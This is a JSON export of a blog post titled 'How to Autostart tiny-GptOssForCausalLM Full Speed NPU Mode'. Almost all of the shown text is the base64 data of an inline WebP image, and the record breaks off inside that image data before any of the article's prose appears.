{"id":1672,"date":"2026-07-15T08:15:55","date_gmt":"2026-07-15T08:15:55","guid":{"rendered":"https:\/\/bepannam.com\/?p=1672"},"modified":"2026-07-15T08:15:55","modified_gmt":"2026-07-15T08:15:55","slug":"how-to-autostart-tiny-gptossforcausallm-full-speed-npu-mode","status":"publish","type":"post","link":"https:\/\/bepannam.com\/index.php\/2026\/07\/15\/how-to-autostart-tiny-gptossforcausallm-full-speed-npu-mode\/","title":{"rendered":"How to Autostart tiny-GptOssForCausalLM Full Speed NPU Mode"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRoZrAABXRUJQVlA4IHprAABwaQGdASrtAQsBPjEWiUMiISET+32gIAMEsobhrPixm5Abx4n7z+q3sTsn6SvIvd39X+\/eeDut7D+kD4HOlv+79x\/zA\/5v7S+8f+lf6\/2FP2G\/5X+G\/IX43vXT\/iv+36l\/6z\/vP3U923\/t\/uZ71\/7r6hv9X\/x3\/s7Gr0Gv3J9YD\/1fux8MX9s\/7X7m\/Ar+zv\/z7PnUn+X38\/wr\/Hvn\/8B\/ff8z\/s\/7t+4HynZi+x7\/f9Cv5X97P0n99\/c\/\/H+9P\/V\/zflX+Zf0X\/O\/x3sF\/jP86\/zH9\/\/c3\/B\/vZ9Tv2n\/X8RTc\/95\/5P9N7EHtV9c\/4P+O\/e\/\/V+pt\/jem36n\/nv+P\/j\/yH+wL+bf2D\/X\/nD\/kP\/\/\/9fvD\/neKD+G\/3n7RfAF\/Pv7t\/1\/8Z+VX0x\/3P\/q\/0\/+z\/b\/2+\/Uf\/i\/1HwD\/zT+0\/83\/F\/lV\/\/\/rr\/\/\/uZ\/dT\/\/\/9T4Zf2q\/\/5xMLH58knxwD+6HjbsS2inr97z4WyRrkn4XWjZ+ZpEJybF5ujV5spaaEPjIOwckyTLWzA1BMStWQWAbebMOlwNY3q7fnk\/AAvc+VBaqOSzyLWKep\/RELGq+Qr\/hWT2KK8qBv7KnkBYeoVB1v8HwO4izfWIqqy5MMjpm4OA\/N2QpHJLKsujujP+pqxnhZkJL5cpA6r4wUJAozg09fIHpB\/kc5sNA\/ha4u0QMP4WE\/TCsf2FDgxRaaoRSXqwAXc6bVojss19a0ZA7qBXYDECQT3AvMmSdhB1hyQN8uu78n8w5wGXWIDrl8\/16YCQXXfBTSNRbzizDY0pnJgcMEKqgEF5O1tCDrPIXCvlEhkSoAvi+YBLLotHKUjVeBKaIlw05jfZAbtu1Ce0BebGrtWSe8+QMiSeOF8hNE++HLSVoPk8lqfQO5Hz07Vs7sMBOSthH2MUZ7cVSxogilnIbiuoYJ1GRBRaMSJhgNhMVw\/gZFFN2SnSHzzfB1JpoE6nz2I7KFWg10CwUJgGE+o2a+ddTr19+8TEVO7YXh0z2dKywuYXZsaFm8y8VYl\/JdcGlQjeoS1BfHMKapm8ErW25ZUYpqJji3C7aHr2CnSh+zwbMw8yDp7oGttIF5FD\/hlWDn0w0yVh+q0hR05pea65+wgg3\/ODfrEuxZ1yD59va+sbQdDd2\/b4q81Ep43zxHuYCVuDX6nfZmXgwGjdkik4SheoGnhNn6s17xdK1SPJSJvjrVsg3Jgcj\/ecu0GzQAgh8\/vfhiUea2E8u0ULYQKu1PYvB9gH0jZSs9vnRMTASVpUV9ripj1VmJNFGDUmELcTzkvUiojEK02FihF\/VnQXPsWDGpKEsFqGAmVQXSr5j5lNIWVCRzbb6PmigkTGRPArMfdmOSR8La2svrhodzR8uYxw32I\/52CzarngeGKeNJPEM8iPUNP7WZDIjHAPZ\/sZpt\/Y9e9P6FtqQD3IgHzDL7o8K\/j9SU0QpUq7ODrW0xmdT79hexRJ3hTIg3RiklGZ4rSfQR5IKj5R80wY3nzYV5EXLskj1zVm7FjOJ+sZdSDQopZCuN\/R6VEDK76kKWt57fvKYubxCeFuORYc1aewTW1IxLJ49dEnqKeojy4cv5cif0lPFCxK5N36N8+KY7jM6fWZB\/7a1dhGTDA4m9h\/HGfms\/LQwXI3MuzaqNjvciQ2OIlK2nakfLROEC4y2\/XH++lBVRBF021wBUWcXzsIhLD1L6NPMDtEDaMTj+wZXTrIMgU+Qf2yifF7DUW\/OUcYQpGM4yJcjKpcvixfT5GuVJgpd\/y6pr3sR5Wf2V2SSxHVk3\/n\/\/ACm8PyrfNOCahTdJpFGMWVtDt3rx4kRJvTVpr2ssivbX3ZA3\/9cpLolOplYLb695pCkmrVK5N40sZPPuhvP6s\/LrxEro+aLsl7luGznjMWsAXhdbE+ScZ3XAYAm6\/66ZTi9cd8iCY+qr1MD5WOvvUlUulL\/UwHbLwXBdKQRMYVLDweQAwKN2TM1tv1Dx0\/28BBO2PP3CVqPj4MuFuAftlLWYKDO4DHN+cqZKB+LDgKjuzwP7TaCREtczj3Tmv8SMpOLZHs4zq4OYYzRzMM1USh76waOBWzb4\/fpJDMkXby3i8Lyq6An33he3KTkzIMHAaxtlmVETvmH8q9Uk5Y1WmOB96UtI\/94UWi\/oleHb8Z2so1ijDs8lvlxuIoXNk+beh10mlvo8FRR6MWIoqthrQ\/375i13UhhH\/r3uNDq1YoqQ2HyeTL\/4\/UHFF4I00Zz3K36+Cot2ikDB2T29Z0lX9iCSQfyXpQSZR87NtYdJvDoSp7IHs0rFHjhWhlb8CChM2KAl1nla8czSe\/L2\/Z5xUVoPWBadqUPhn+jF1ioGQ3e3bYAGRmrH2FKLGSCV4kfNdw\/V0N\/R5bBA7t5o9ShK4he4cDGzKbFiL8yp8w2SNLqArIwE2TeF0H+EuIvtHMMzukn\/fMF2w56img\/t3ztY6jAOxuJJm2eWURGNV1AcPniiGvyQPivP8F+f+QU8+n74fmMuvSQ+fLcPGBSQglFOTicZhi18zGdEcc0qBc1pmAAkodynnFvnB61ZLnBbN+Lbe1Nx+XLrYuB+qQb5YcBYkZiF9ZmlkYcL2Sewfvfk8fCQ5UdQL7n+eXbWC8y1mfFwvNg060U9qmYjxjLstIBvzBzCAK98gf\/YpzZGKuNwjnAdOnj0MaXHPpKnOqfmFVzZDKQhlXxJf1TMzXi3pxrVzFMcFFSP6RxoEtkRVeTMqJnfC61BrwRuL9anqVtqYGcJm7gmWCaqQcXGyowE\/vAwKkkMXqQyWu640kswOPUgX2oVODxcMoP9yiVZHPEoeKbj0+yHyYIY+0sybXPCM5FB0BFjMpn+JGSdM6MQlhkmyxGpYWQt9fRgmZkJhFT7Y3UswtNPLbs75yIpAqhmNMisIGeWrAuPiN530+RVZBur0xqgVUJzW\/rPpb6POV\/YPS+nHKIgjPLGY+8hdQimYysUAiM1bTJDvzEkdubMyEawHOvA9vq+Er7RSHHUBTrTva6XuT9top4YTSPsOLKBL2Adp3vDNh1iQ0ZqRa9N02T8jV97w3kU0qsdMAuNY\/ulOy9+URICZfFNi+Jw903pG6TkPY4f52T+ilLnLD777EhnRI7tOgQ9xO7uPvOc\/2swpMnRg8EBICl0nAmu6SSe9rCVlQfDjzqJanjUkccPGUpZf3ZINrCH3+dvcOGOQC6KzXWTvK97ElmfV861X0ZhJiLuXZYKG0YP5bb2ALnAsnWngT3c2WElAR774rg3oibOEwqlb2m2E\/n2WfbS3zM9amXwOWkztbe4gSObII3CyZn74xBHDyxLsyLoIPZqZ+Q0yIA5twZfb\/D6\/mjxy42uMqRvqlbi9UXA04fyo1lLYECORfVS4OMt\/Pl5VtfElkx\/2BTYDjOIlK+hrWGW51Df08OWAiS2EEpE5JJusqTZrz9HksHg8LfwN0ztHgz4Eiylpv2kybEk0C3fDuK6yv8Ha3ElemtgahgPYg28OjMPSnR6HGknKo0nWZ1h+g1crHcjXbHtGN0PsyITpRFate7G+B1VHPF7hLGYQQ9vd8LA3UIKLFHNe0jAirXQNGUb3plujx30mNn24KxJc2o5AF\/sjb1reZdJnBbOiGgaODBtH+5\/yFNd6PjaIcMMN5BNTsVj5CLlLjY5B6NgRYmB5nSSb1TYMWiG5hP4O6VzLFnkYfdhYt5EhLJil6kApGaMlOcMpuRqPgwwoPjeS0vP5bxZGT0YGNz3JxzVZv9T0dU0cPGdI18cQdzhnoV7TdCpdBjQa+zufmMmZe4lj0W7EXrhJIxsd5DQ7omcl\/Loa2XJYFpXu9YdXh\/cmWx54Sdpl4Ze+ydgnvMZ2zT3M5aPVjqrl5j2TtlQCDQnQAAAD+x1mLZsWl6RnGsJfuXXK+nuh\/F6Rv1OU6UUNnqfPUnUdnFrnUehp9rZFyIzJUl1FgLk8WcBjamXu29gjg6r2kpoAX5AHc7kBZAhi+rhflxkLS+SpzIHUBS+GhnH+oYImXELASpCZ\/w2Fc9FTTbTRclkWN64UedMa9lfVZpKX6RPB6LJuN5JQ4ywsYvel3BGIpc\/QBGB\/JIrVaeZF\/80IrMLK2zMz\/5LLCXiOFw9ApbF2Tx4JMs4VAbp8PRSw7zDq3O5HJQJawAHiaU3ukk3Tf0\/RkQxzqsBoQoDUHbppptwGsYbP0lOWAN+0EcMnermd9CcVXAAcXChkAhrW9iobYVK5QMhBgrlybLWal33o14deKXxGe7FJ8j0rgX5atFeIfD0iFxmoF\/dFEjyaHWEWwyrVNPGkshX+7IPb6c5bbUCVNe9q8oAea8we5hzxlr0WVF8H5cnumAAXxzt0woRygw1UPIhPC7MELZht2pjL5H2sTh117U29825hog7Ix2BNEndJUsLu\/IKbBOfeIoIkLV4sG020T2ibnmYc790OZiSHfQAZryAioKfZBaoCy6BU35QfrUkWxMIQ8rUGf+uflWJ8onKTW\/GZfKVd5kpmApcfKPYXZm6N7w6QYMQxqDLtx+kcG7HbMAHMWWnOdn9eMoi2UzOnO7IiI+IaejYHESTXB4VHxqxyxYBYu9PNN8gxyJGQPNja0Z73TJwxCH9Nnn3HeWPe+YDG3afKtdSTAvIg+AUuRGzwp1b6TUGnjXs0PnKtWdbRCOWQPthMTquDYVuZfaQLb3JOfOHsNsxZOiewx8I8d50fMKQfR6Ss\/JkCQd9WAlKaLgpT\/vlypL2krruEIbHTbtQmjxLrmiWSfTVwkfgkARSWq6jJpQjtGe+JuGLr7KDSTpLdwM01XYgB7E75NYP09HybcYupHBdHVv9Xe7NZeATnEY0TNWdNI7U3kwuvQglzpC9Icz7XPPw6TgF0c02bAv3ztbcqLFv9ArrjBdADYuSHlYgf2ycQV4AA4d4fMEaIZfnfx4qHeNWMvq1oCie2XJyP\/qAtDLohMq0uzGAZiDRA9gKjMrRlJ9MIhEXwztrxGkmFSDDqWjXtieXsyIheACjERcmaScXjEC2YoK7pgCHWWFhkoJAKNBLuA6VbPEdFuzL36CTHqYxs3s54wZ3TvfpGd56gyaKTJzhbOOE2PDeSCMsVOMhAvVtqauVLALvvTBV7UDUTmR6s7CsimNBBCU4lylNdhSwqmXGCNSAdo2L0iza6hkT\/MOhyjQ5b2oFjtDcVSakCVvz5DEaA3IjuV3\/foMHDp0FGmTo+WtO5V1T3m6EAhrvWhlQQtPdePSgP4sMQXEX9eH\/Mp7YSTfebImjiZs3\/OkNEUFTWSN1om7v0ZDCw8ctbgoC7oQHNedPclEUmI00Ib6K7dB64O63iPsDwwn2Hvkp76A9zsCol55cfzwcVYQEexwR\/34CHf5FsLq1ZK+1PlxvFvg5GErxxk1+4EDi\/37pYFe1QOw+nmgwUe0G4\/MUIhGCQMOvmGI1Um8ogOcy29vcX65xlirb+kLkOfjT60Pjad86J4cDRWYUooCm70qTJoTPN7zyVAiHm6\/XLXp1bFw0SqJ+mxzu6gjYSd2bcTKuH3TpVUz5KnRmStRTSZnoAeJKwvOFXiE\/9c\/iOi0JH7k1OEP\/3tGKY+jKSNdiJ0+clUvPbimKXlDpsG9XPLgvP32XztbssI5MtNAxLAMSKenyfJQ5anTpZ1A2YDDv92qr3ydy3BkSV2dZxLsZSx2V9iZgod9rQPfGVv\/1PLkFRCBAml1Ilua85Z3IcXI67gMpvIj0mOHFF11YxM81OQ0Tk4ZAlZkIZJBOCYyxO1Gq9n5UG6NmlbIEgyD+2BVSFbn4CBB3waiy6\/4QSctb7e2KdMVfTx\/Cpz2+2oN8VmXngPhCFw9gn\/U638X9Huf5+0hZW8nwX7+EQlQ9rmeHnc308+MpsSz7SzlnUI\/zywetjhDa7bcFt\/ZkBvGxvNCO\/cvniwlu5p8gPJdrSQTngJGtd4iydn\/utzSjLH\/NenY7BJA7BqyVnPolE3t5YovbmL8906Zj538yX7+2FsltjJaFOCkNom6ygv+Wd0xjMon+q00Ehq1BJF7yxdbJIPvjalSygWKGC3\/ae0rXcPMq7f+Ovi30snkQiCocswp00ihug2OadjlDrN1GKPKUnFXlyQ9P874QhClrVdsA3p7dM+fX+u1WOm4GwIyfvpv+cqBaAz14qO6y6Sr7LWJHpTjIIXWNvFsuQn7Z8fph\/\/kyQ1R61auwAAPncwoTm0SnF9g00ZCsiBN3o0b4NRQEI6uY5xfgndxcBKj5yKW90P6P346Bx3OBBJkzbiENnZcwQPjL6kzQpCAM0C3fP9PnjC2FCV2HAkXeTnBXrk2TDZZdgN8JwyDWFN3q5DbZJ4kuoaHC4cY0lgj5WHzRW5yr10G8Z5u+9HSIqqSccohEzG5mfdIq\/uLBx71xgs\/y0I4ctQMcmRFvT7Hnn32AMo6fkkk3hXibTU8Cqd5w5HPigkHsJ2JaSGtZ0IfrdwCcNUoVjeC5xc58hj0zS9qrPmuRBU1Ye6UzsW58LyUphZlNhkPdBkAfBF+9y4RuU+DxXdzKLtlN9MtmfqWKiW5cqR6kFqtgAWhkMW\/7RW\/pNrnCMdyqItVNQdqbQf6iGgor3lOBD2SS0hRKGsY3tvPEfkNtWJexm4GpK8wyUu5q08xisOnusojxFqcYie1C\/09VH3N\/GgWBLjDBzvtJK2\/FL\/4vJX7iZQVwTUniUreIG6QpTnmnDjcVPQaaQKkOzmiCWQt6YK55Pih9HDL1EZ0tbs1Ya9pxee+Kowp6LlE\/GFa\/PplgKIRl4NeO9JJgQS0Cn37OMjHGA7igfxsNNGp5O3SHO77W7DEzxDOWq5YXN7Q2DnlnUg6hyIB4PQYxjUj8zimQeMbRRXmM9DY1h\/11JJ0q8o0ck\/OLSJqL9wcpeE\/MipaAIjHqGoamnNRnYOyu74lsPRwJrIiUJeOIW4ah95DVIXXCM1\/DGC810wkLxeInd59PFc88\/eKSve0\/EPlPFA6hSpef4A4m9L7MfXiN6xELD6rQKSiN\/k07\/eWE\/b7YZ6DS6\/N+5HNkWUMuN7tUnoDNO2sYpw7QlFK5vG+7SKa6Q7OU0fMAspkNo\/+dQJjsFm0PRGZlJTEdd50tJ+yO9ONKcL4hW+lok1OI7rOyHj0heXFZbm7VdVsg4cSgeeQ3bP16HzmgumHFtUC\/\/6IzNrXaw7va+TQ0oLIzilSiu15YwRHgha3kbLhAWvy35izuPr3AC3szW+On42HcXNnbTEf9dUCRX3EwGiAtwFDf7U8rX9NOW2akcUnXVkAAx7NTtceyGFgACHZPkB26wGYfg1ICJ167ecrVFTMC\/M7UHYNd3ZONT7nusQ1rl6eT2I8ceEL5jBwJDTRjRlvXEfzTKH8cKjxqn+YCzuAvzGQq62YmJzzAxvGh\/1tjxIMFUJVEfz+8SB3uafCBF5RugjKDsn91ILcJDJAA0eiZQliXg+nrG19viygjSs2qPoSgXHHKpimYah5VfEl+MBiroB3+yKYcXIEAfHe27z5M9kwKp3BNh6kMps2hYPAuPpG18NL5eYkKFxIZwao\/fqtOo5ZRN9eyyoaozcmbknyXFZ+X36aMEFLFfxzWN842U8FmwRF\/hz9\/K3GY9Kea3bNYIPj\/W1AcObTmsFUeMYg2Ckk8+XSpMk7zXmdvFavAa6\/CrZqRuz0xSexSbdYa9aGgI8xEIr1q067pOpesalk9RhvC4YFIW6CCJ77645O7qg\/aJfQX6oAB34c4PMupcpfbXpbJwIViprwcwNmOwxPR+jdBN4fLrIPvh3Hnw8UIQUJ\/SJey7iUIyff9qzhEiyG6jdmcc38xYQcQzOw2Th\/JRyhI5XK4LtcNAawxwY03Jpy44NJ2Mjvyx5z6G8PNcLd51ZNfXqhVglXXrD1371WqlMHdA5bBLRuQbtFrpmBhmVzZlOJ8HoF76XEbsVDz3BG523608wTxuClKwC88roG6snOKFYMYHP73GHI8ROsb8La0131NQN6SgsPhWHYDGPfe9RfLTfsoU5yYtP22\/bIVZg\/dTrxaXJvxf0LDA85zMCzK98IWY5gGApWXTkJD1ckMkxU21Z3PmKyjvaUqS0T1BFOqDqvUWCUcgbNRO+O7rx6ErVGxOca5+LtrR+4weoXYTKO48hIlV\/64mQv9PdMlujuFVW7sCroBFe4DRcZpzhfgXzMgOkMnXcqRUjNbWuER\/J+i7Jzh8t60NkWSfWlHRdYvZcw38bKGWVQ4mQTW237LTx+oZvLp0svppd09wdqAej7CIOmT7qBHX5mp1Xngk92wQ9\/pkI+sy1y1+Ly6eQcaG8oVgjH+8HMeOlKL3bF6xXbasHV3KmKeHh2d\/luxuW\/F0DnRCl1zR1gWyEzoZdxaN3I2cHv\/xvETbKYh1TRqTOYRn0R+c6SV4iljcEqsia+U+wijugSbVnyu+0IP78tv76z63EaHgwQGwMG8asRxQ8Mc\/gr530Rt1EG165SdeYWvJ78hw8Az3vZvyWsXcgOfuTi4sNxfffACTX\/BTj1x6YESez15CRdmmsVAqBJ9GTnW4OT2n9kQiEKDfzPBm2HTR46vyCX2ofomuW9xC7sOY9XfB5ITRtzZ1\/PYwYT5JF16lTrLMGIIaWs9WBE4xPXN7iSS+cn5N1x6qplXtJIPLIsXPHgkyNfGh8MhZxI9L+Ht35oRrjLrdwscOMliugkmMc649jAMSS+pLwDAMmCI1S7YvwiNVmCG\/8SGaU1eOJY3yh5dkNGOEsnxzSY+yE5aD8IrhFH6TVrqlQW6dat6dqQceMFKDdjRS32gi2v4UXZsVNtpCqxXjyTWjiRJoD5vt90LLp9i3U3wtWTg3mqgsGhrSovYVIqBOmL0uC6CiVpKCImLlor+fhJphI5o0gPa2G0TIkvUFuGjmpkfe1VL7uhVNebByuN86Qyn6ORbWO03VnUA9YYaI8ClLSsfC8+6kfBfhNj1bnXApwsFPn5R6xM4NXiWVun\/NBlsd4+YsvydscAyhvzuqCy7sTLBYYd4nCnJXf7bB7UD5Je83Ipl9vfEhuYJDZ+L+4AbNrKyiaHPHPUZ5vIbEYwe+xGzCeGnOAjw5I5WV8HzZ0cx2DZr4UN+hNH7rPcaqo9Qqr0EeOkVEewNGFV7wIxEa0apVkJcNrSYhpFSRm+2DKXc\/hiiA1X9hb9kbREX+DsCt+GrRC6\/25RQCwoQPxHS2\/LDBewlhbsBevyu\/\/C3bILGpKxy5dJD5yBm8CP9rviuzcr\/bA+QhjuxzGZzwkccRLAa0iLv82xZTJGUTGTEP3B+6VIM5aHzI1DbFClnKqLMNJN8zvxA2gUrFA2XEH2gMKI31X5OTeyizSrKr5zpNkQOnbAVYmr4LCKxb1J7lm4fME9WfnE1SXiaoeMiv8KRtt0LA\/7VQmJFr51BFniyNS0TVGyb9yBauf0Cw+G8rVOA836Hqq4K9kbOLlpUnzKIdPSegPaIxNiRkQifG4zhP4afDGABSLF3JFpxSeB4BAplVT7HcUJqpsSSveLZtOC6+lFOWnssE1PZvnMvl+D6w\/HFivV\/5ejKDvmxrL0QAM+R1oXz9c4XmSUV3RuArj+7cv8+Rnvaa0ZEPCvwSMa4clu5Aek8rBzwU333KcOsd6MMYngFDJrIQIaNCGi40ckPJ82CqLPLb\/4lbMj8\/owLbHL2FWhtnnEjdv9+hJV+m4lmHJg1mnZJ1vGe3D\/mNHx8lsJeTA8pCb\/Qk0SGe7bCbfC2GzyUTqnP1mYmQdsWGXXFOXrPCEcym9rtPBascXeOSf+x2YidoVO06B5h4bvtgTyX7Po1sAI+O4LI8PdwSNotWj19tuiNZMC1sso4EMkWCNpt546toiGw0X0R0LgzO0b\/UE5SVVG5+87rgGD\/N6nQ4bF0SxzNvCWpDDCfstdr0cxduA6sLMRBoZypwnzfmrbMpzUKoSuV1n2Ll1clouUS2+2rO9pQRou7r7MoaK\/J4i9CHVMryzjJXnvC\/sEgZcR\/RPqhp+RoZx6RoQh4\/dF2WTj6nXPMLlrI0HVayLbJOu4wbo4hNVwYWARDmlfUJYkj1cQFi53ijcAPmWz92UcrA\/2FFaDEGN\/K2IZvju2l2uswxGZvIWFUwQJTTwb6GS1ilSLk6KdUkixOnS7\/H\/Nt1vrYusdP4U+u52l+6DskgJE5H4CEKxHl1Yq8b7KltqgDjoKcRzgb8VfRvEmnrekSNHZ6ZZzGc3ME5ugU48pzw1sYnw\/An+DF66j\/0C8MwXskVePMXLJ1LKyyaRMhbSxkYNv0uT08ttRqzuzR0kP6Zo2L5K0vHwfTy6tfPT5yOii0gfir+ZFHHLHfDsR1gQcE9CI9b4NJfIPgTOCWSbvekiVYj8er+HQj1BG98JHsuz\/CFj6YSbQEKUDyMKArqSWju8JknV5wKc3Jcbw7BTScO7udOBdZHUoiN\/9tOR7X6qDJPt3tE2wSW7fVnOjP1de3iqwjU4GLbwmB2IjNziJ2LE3O685UikZeE1gOVdppXF6bMsS0rtw\/FmBlX8W99r\/A\/I1lZqvEgi9YYuDgr9TzPUOFvXuHLnYzFhnJTb6YO8003uvsfac9h53o+\/b+mx9i8x8YeBCO36XjZk2UM6MI5orXZcNuxbKf+s3uLSJEH0arlmjM5qUuze8wec3PdNlNJTSGY0Og9oMMVj92Rcl+90K6e6t\/Ex7exkFD8unObiX2xnt0r28+v6jIxGgRT\/wg1UAygd34bn7tzPjAp2grWX42P7gtUVAGw950PIH1rdHSUhKhPd7TV+UvekNrPcAcZtvRQh38Ts\/h6PIvsBU6OL1xCiZCWgU16Par++yLml9fmHjVZr4SLzNpkjzkrpX\/eoDVz\/GxPLz1\/H1SqXzm\/C\/4WDvSgWGmTRr6Q+s2SsCoLiAL0LcqkWiZBNrv7sWToNbHzxr\/BjU2ThndnVOITZqXCcIk3i2o9dCGU\/VWtSOCbXH8q7K6FIqHrUgHZ+JfOe7+l4UMgrFRzBjnpORhMOOoQcsf5u52q\/WnqWmITa2bV67n8DHO7J2GpvdLMOeTqiu37+rGCN1HtKakt4Y8xmjYyi7KmErZKKcvH5ZYp6pci3Uvd9hVTjtoj8wLUN6IqY3dMs+c+4\/T2tr\/HMJ\/D6hWekZvELXj4mnVrGVJBe\/eckLOedRd\/+neWcRhg4YT2oT7QWAaE\/PvBlm6TXNsYiwkazqg0OXtNaxi\/iBfhXJ3iV1sKDzM6HUnvg9c0dOpe2Tlk\/vsbRXXm\/zmplSJ0qC8McTfxNqAtxmIOouO3WT1uGRdZqEZHioYY3iIOzM2mjxwoJxz6B6WcyXU8Ut3c6A+4OrsPY1muIBM3S\/gw+gh0GjF3mWQwQw31COwGQXJHjeR\/2\/PmNa\/YlcBP+Ka\/V8wydtDK2MAoHPeMjG2+3SjiuxS3uEs3ELP9givbcmkOtZhm4PWtP2Qh4oKuOKSlLK7s4RUrWB5lWO6FT0UOXEl+aWY9\/uitRQMRaZYySSN\/7PsbPaTOWqTkOJfj+0DNxNAfztLImUYgxYGA0+wNqFRTmp9KV1XDDPbJIdaaCr5TrG0+mj79QYm9dOAUZTqwZ5L6pnwVM3VymYvnUrXLelAvACsWQVznfeTXR+hA8aQgSG2oI3Lne2uW9ijdcH59f\/TlfcZYSCwEomgo24yipN3t\/wr8HsZfi2Lzu4Iw0st49S7CqqDzJp3GJuqoj3x8XjAIOHqhU3703gtkIpGwlKkCQurZs1pwcNjIJPwZMjeIHWrYa2p761YUYZtzQnlLcckaf+t18yv2Bja8t+BTTDNkQ\/M9VU\/agODay0ZfQeJyECE\/ffiCeoxFk+6AA7vnvmEDB7FzzQDkAOnoFP2m5NgCcdvXtTq\/M4fEiaxj9sSO4YO2VjluXLyhUjx\/0xw+IVwV0NaNpHRgus+7CEoTL8nLuQIwSrLkY4ckptArGn9yC\/jbm06LFuYGVtvzzNbX1kx0bbpceaxzd7KFr2V05nbVICQFDGSkJo9gBvKTYbt45bZgnOlIZHjlC+LSFy23M+DrTvPgyj1s28WPZ6Wt25KCOQKXq0GanDy842fTBaj5fUy9OfLMSgPOfMmy+L\/u09TNos5is3gxBpJNvMmCOD8zfrwhVhrEkZfmWCWx0mv+5hVjbirfieqG1blbrR82Y8KYO77PMPNTZ\/r15YmgdUum5g8RUDQHN7WX5BXIteCgASW3J5Z8\/V\/piaNFq\/yq9xEqI\/8sPfeQe1wWT35vf3Bw1P0ev8tx3yYxAH7HOs6trEVMVrjWnJgpfbu+uJBez\/TxdeGUK6Zue+7TO+XRKnEzl2NFRgRQenLL+DaD7Q\/cpTwUNHiqrdiaSAkUai+uHAG0E1NqLh\/zHXVV7Bwkl9MaBapJRyeHCoQMV8oL014byh67N5Nb8c3HgyPKKpJC0ulCl\/k5aCzqCtzdYoFbIs5DCbgSSCYo5o\/zW8jXQV+mXjWEnzVBFxhxO0nAE\/0wTf9O25TI+8GTU\/lcCweqmy8UMnOAjoSpOjFJaOgsGSJ76igg671nxEX+8wuUKnDQS4gd68HWK0uQ71LF9WwU8qzs4qqcFsc8xpS0C4jAlcKt6lTalHxRb6ycaudDjPPyJ1GzXaX\/Rpu\/66xOdQKI47NvSFhRMnID7cTrPHYygF5Ohb0IJOrw\/fYcOfJzVTrha3MlmYU\/t9CGpDY6oEzhUGD\/4OPGuBifqKOe4XU9+JieQgZBTuFFeV+o7OJbjfJRGF0gpKVIKyM62aEYelVMMckcaiYhNflA4++tTyaJi3XEjUXIg68KQR5xA\/haIU1LG2o9dTVnoZm\/BPOb2M\/rBU+h2QqSBAzwef\/UUb9E4YYHc0SaZXjLzCVCpFjPtr34oc2qN+UAIt4Kekm5\/HVH7yxRIiTgSOuGQmtyEeuKCLXoRaj3RxqT5IWBEzPG4oLj7Mvt164QbrOCko4\/XCyppCgkou8VUrRKCFQ1ZfCPnxP15oNcfL43MRf8ca7XiBXx1niEmnMQqtrUH3pyfHFWShkeiChZOkTD+enK1FUX5cj\/8HQPgXFlO\/zhq7FrA3aPZ8XVnpU+1P7C4TwI8uRY8h0ZIl7ssTw7g5+0fU+8GgsDx33CTvhilojVYrTqBA1syp3bSnXC+X901EoZ9DgKGkzyFSdZ1hZsbA1CpCKRKNpEiUz9OJRAum2RXfQ6Z8mZdciLZeFr9BdGYWYeGGWV8oEEC+GSiIA5MsrOfbg2Ra6r6y6jF0DL8KzxmhL+tz+R97TrW9qrhn3BTGotlVpzz0reqV3Su3FvHM3fbnrPraEhHLZE5NnbrWBDP6\/SoYCnpUHFHlKko\/8dAAiEe\/AVhbUW3G7GQ9OfXQEe9mK87c0z68WA1HQiM4\/JUH7lvZplKfe+v9UGpHwwIuIp9vYvjlwUOqOVP0kL\/PTVPMp6Q\/fM9Ei36yfy58ryvOVvslU0XOpz7H4rHT0oPPt1TdhCd47GZkLhsLYL6PHk2VAIxUYTw\/3cWM4s1Kd7Qw61kh0NWfilIM6ZXr7yoPucq9LHxhNZX74Foqc1\/JnGR+igrV+mO8EPObEAwjMOI6cMC9PpWsoOxwvsYYifAHYLIj\/PA+X9MZCjlSSdPe9s4QIHNEHzuPsS\/KCwknkl5wrP78wkjkmVulHYTBJwaWkXrqYpkD\/vRG2Bg4OuSCycTWrvDWpDaBSHak2y\/4xQkOgx+VuFOGw2VoOb0oifrvlEDpj6M7md62f5QPGDrlhIvY1di0iaGgwHluHNbiwXQgSs0iOsF\/hJvwQPuBuGwLo6G7dpeQ41kQkM8gHYM7LNnBTd886FoGxMyUK4mD9YNiLssL2\/fQqXEymNkYubYfm7WtP2k+ydA2t37XQjEbhR8j7YsQX8OSaZqNxbqcgcVYZFPBHO3wEJbtWsRxUqj7uomQb\/wB79cbrNnHBqUtmVAr0rF\/Dsn7eAEunWpp1JV3Pxaz+S6FZ\/ynYiNW\/5zDKQ9smhzxkYnX9uDIFv8VK\/s9iidlfa\/rXlbxLbB4xL4Ka6\/Q3HTceh2XjzC528r8iA\/VRWvYZvcXn9i2BmeomyppLA8WffHeDOfnA7KjUQyxYVytXGtdJaMLkFDRgCFtunIpe8iZdBCUlht+4WS8QQnHgxJoZi1ym6z1q7dp1uyqLGlWWokInmIOG2QfPotS9rxQifTiBQyzY9WSdPcPBZeCgxWocIuFC0iha9hx8DtgG9p8+X4NdOIbsqvLkIAWmFVB0U6bSzWFgUO+z6Xx6Vagbqp3loydIk1uSznzV1ujx97liZ+ESCnrDWtE2hq2LA+J3EHjpXY6nLekJ7M72MQhglspwAS93Jasze8L8xljYpanJ1Yp0sveSp7dqwoBRT5nhCHOtyCA0kBBTkd45eZiydoi6DCfzOzs3UStxonZNOALTfI5DlVmnZAknY9K02YhlO0sxkybRTOvnP+REqIuVl4F4+Q+Lni72Ak8g5amUJEZ2\/Z2e5FCMUWoU4seRZz3XeayELRMxCSM4hAiNJuqxwWudzgZZQfZMxPJ0ausYizYwuVKI8B5SNF\/lq7xXAxhvRgS6JJKYk+8UYCxQcXIxo9jny1y80QiAR0RXrqTFLzxYNm+3mGv21KHfo5UW0R5wuioLIk8JiP9jv0ACu0JuMPXQw6quLvC3HhJzYwVC00nZOiP81gK1VHkIs6f8Mzoj0MebBrg4p0rk7zrBy8L1RqK3JBvrmr6ESpa3axG50FFYflxLzTkjrfbXJRuhSLFLlnXDULwP+s4WK2jpI2E6MniPFhlV8J6EnMlt2fXlr\/RuAQS5UjzLMSwwXcpp+QqHnPQXlwWZRL+7jk\/Oab\/xfBwG3F22gv4JQcflkCUE1\/EkjtB0DLT\/8aoT5\/69qTB1GqLphmMCYMmQ02qc7dy6vX1IOKP8iKaGeq7wRJh3s8c1DOCiQL3CIbpaoFVbcTh0mSA8l1st1rjIhR0ME58f3bgiDXJ0PQ0naWPDYgKzEtknSqSY\/MQdvzyb1WrXnZMGPs+S9bz09CWp4fXyXS9jmj75IV55ixWyC2Q\/2ixj4ejLB1pSYuZG16fWrzbOul2moflhjeEK5pkp\/iPTRkr4k3NmNGqRcv+rD7nZcXjMVRjov\/sk3q